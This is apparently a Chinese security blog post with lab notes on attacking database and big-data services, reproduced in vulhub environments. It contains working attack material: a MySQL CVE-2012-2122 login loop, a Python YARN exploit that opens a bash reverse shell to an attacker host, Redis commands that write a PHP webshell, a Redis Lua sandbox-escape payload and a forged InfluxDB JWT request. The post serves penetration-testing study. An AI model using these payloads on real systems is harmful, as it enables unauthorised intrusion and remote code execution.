服务攻防-数据库安全

服务攻防-数据库安全

前置知识

常见服务应用的安全测试

  • 配置不当-未授权访问
  • 安全机制-特定安全漏洞
  • 安全机制-弱口令爆破攻击
  • 安全机制-特定框架漏洞
  • 安全机制-特定中间件漏洞

应用服务安全测试流程

img

  • 判断服务开放情况-端口扫描&组合应用等
    • 端口扫描:使用诸如nmap等工具来进行扫描端口,探针服务。
      • 如果服务开放,但是还是扫不到端口,可能会有如下情况:
        • 服务器在内网,通过路由器的端口映射,只会将特定服务出网。
        • 更改了默认端口。
        • 存在诸如防火墙之类的安全防护。
    • 组合猜解:通过猜解常用的组合来推测服务。例如,服务器使用php搭建Web站点,那么我们就可以推测php常见的中间件、数据库等搭配。
    • 信息来源:通过报错等信息来查看服务的类型。
  • 判断服务类型归属-数据库&文件传输&通讯&中间件&框架等
  • 判断服务利用方式-特定漏洞&未授权&弱口令等
  • 当你通过信息打点探测到某服务器存在某些中间件、框架等时,你可以从网上搜索特定的漏洞,来判断是否存在该漏洞(版本是否符合等)。
  • 如果存在,那么首先考虑该漏洞会给我们带来什么,利用条件是否苛刻,在黑盒测试下是否容易利用?复现方式是否简单等等。
  • 上述问题考虑之后,再考虑是否存在脚本(从github等寻找),如果没有再考虑手工复现。
  • 先会利用思路,再考虑原理问题。

Mysql-未授权访问-CVE-2012-2122利用

介绍

复现

使用vulhub来进行测试,关于vulhub的搭建,这里不再赘述。

使用如下命令进行测试(需要在服务器上安装mysql):

//mysql端口3306
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

img

mysql解决root用户只允许本地登录的情况

mysql默认配置本地登录root用户,也就是说远程的连接请求是拒绝的。

那么,如果对方服务器上安装了phpmyadmin,我们可以借助其进行猜解。

phpmyadmin是第三方的数据库管理应用,如果可以猜解到,那么可以使用phpmyadmin登录mysql数据库,这个数据发送是由本地到本地的过程,所以可以进行测试。

Hadoop YARN ResourceManager 未授权访问

Hadoop常用端口号

介绍

复现

这里采用vulhub来进行复现。

http://your-ip:8088

img
显示这个页面,代表存在漏洞。

直接使用exp脚本

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # 反弹shell的机器

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

拿到了shell。
img

Redis未授权访问-Webshell&定时任务&密钥&RCE等

Redis未授权访问:https://www.freebuf.com/vuls/349094.html

Redis安装:
https://blog.csdn.net/wysmh520/article/details/112561481

Redis未授权访问

在redis的主配置文件中(/etc/redis/redis.conf),有一个配置选项:

bind 127.0.0.1 ::1   //该选项开启,表示redis只允许本地连接
protected-mode yes   //该选项开启,表示redis开启安全模式
requirepass password //该选项开启,表示redis启用密码验证(密码为password)

如果redis允许外部主机连接、未开启安全模式、未启用密码验证,那么就会导致未授权访问。

redis-cli -h target-ip     //尝试使用redis-cli远程连接该主机
info                       //如果有信息返回,那么正确

注:一定要保证redis是以root用户启动的。查看方式如下:
img

写入Webshell

如果redis在未授权访问的基础上,我们可以往其写入webshell。

利用条件:需要知道Web目录,且Web目录权限是可读写。

config set dir /tmp                 # 设置WEB写入目录
config set dbfilename 1.php         # 设置写入的文件名
set test "<?php phpinfo();?>"       # 设置后门文件代码
save                                # 保存执行

写定时任务反弹shell

img

写入Linux ssh-key 公钥

img

Redis主从复制导致的命令执行

介绍:https://github.com/vulhub/vulhub/blob/master/redis/4-unacc/README.zh-cn.md

使用如下命令:

redis-cli -h your-ip

发现可以连接,并可以执行命令。说明存在未授权访问漏洞。

img

下载该脚本,并按照官方文档操作:https://github.com/vulhub/redis-rogue-getshell

执行如下命令:

//执行系统命令id
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

img

沙箱绕过RCE CVE-2022-0543

介绍:
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md

使用如下命令:

redis-cli -h your-ip

发现可以连接,并可以执行命令。说明存在未授权访问漏洞。

img

在vulhub这个靶场中,执行如下命令(该命令的作用是执行Linux下的id命令):

//连接redis的基础下,执行如下命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

img

influxDB-未授权访问-Jwt验证不当

默认端口

8086 8088

介绍

influxDB是一款著名的时序数据库,其使用jwt作为鉴权模式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。

一篇文章:https://github.com/vulhub/vulhub/blob/master/influxdb/CVE-2019-20933/README.zh-cn.md

复现

这里采用vulhub来进行复现。

发送如下数据包:

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users

img

H2database-未授权访问-配置不当

默认端口

20051

介绍

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

JNDI小工具:https://github.com/welk1n/JNDI-injection-Exploit

一篇文章:https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md

复现

这里我们采用vulhub来进行复现。

img

CouchDB

CouchDB 垂直权限绕过漏洞

一篇文章:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

CouchDB 任意命令执行漏洞

一篇文章:
https://vulhub.org/#/environments/couchdb/CVE-2017-12636/

ElasticSearch

Elasticsearch写入webshell漏洞(WooYun-2015-110216)

https://vulhub.org/#/environments/elasticsearch/WooYun-2015-110216/

ElasticSearch 命令执行漏洞(CVE-2014-3120)

https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/

致谢

https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click

免责声明

    本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
posted @   夏目^_^  阅读(11)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示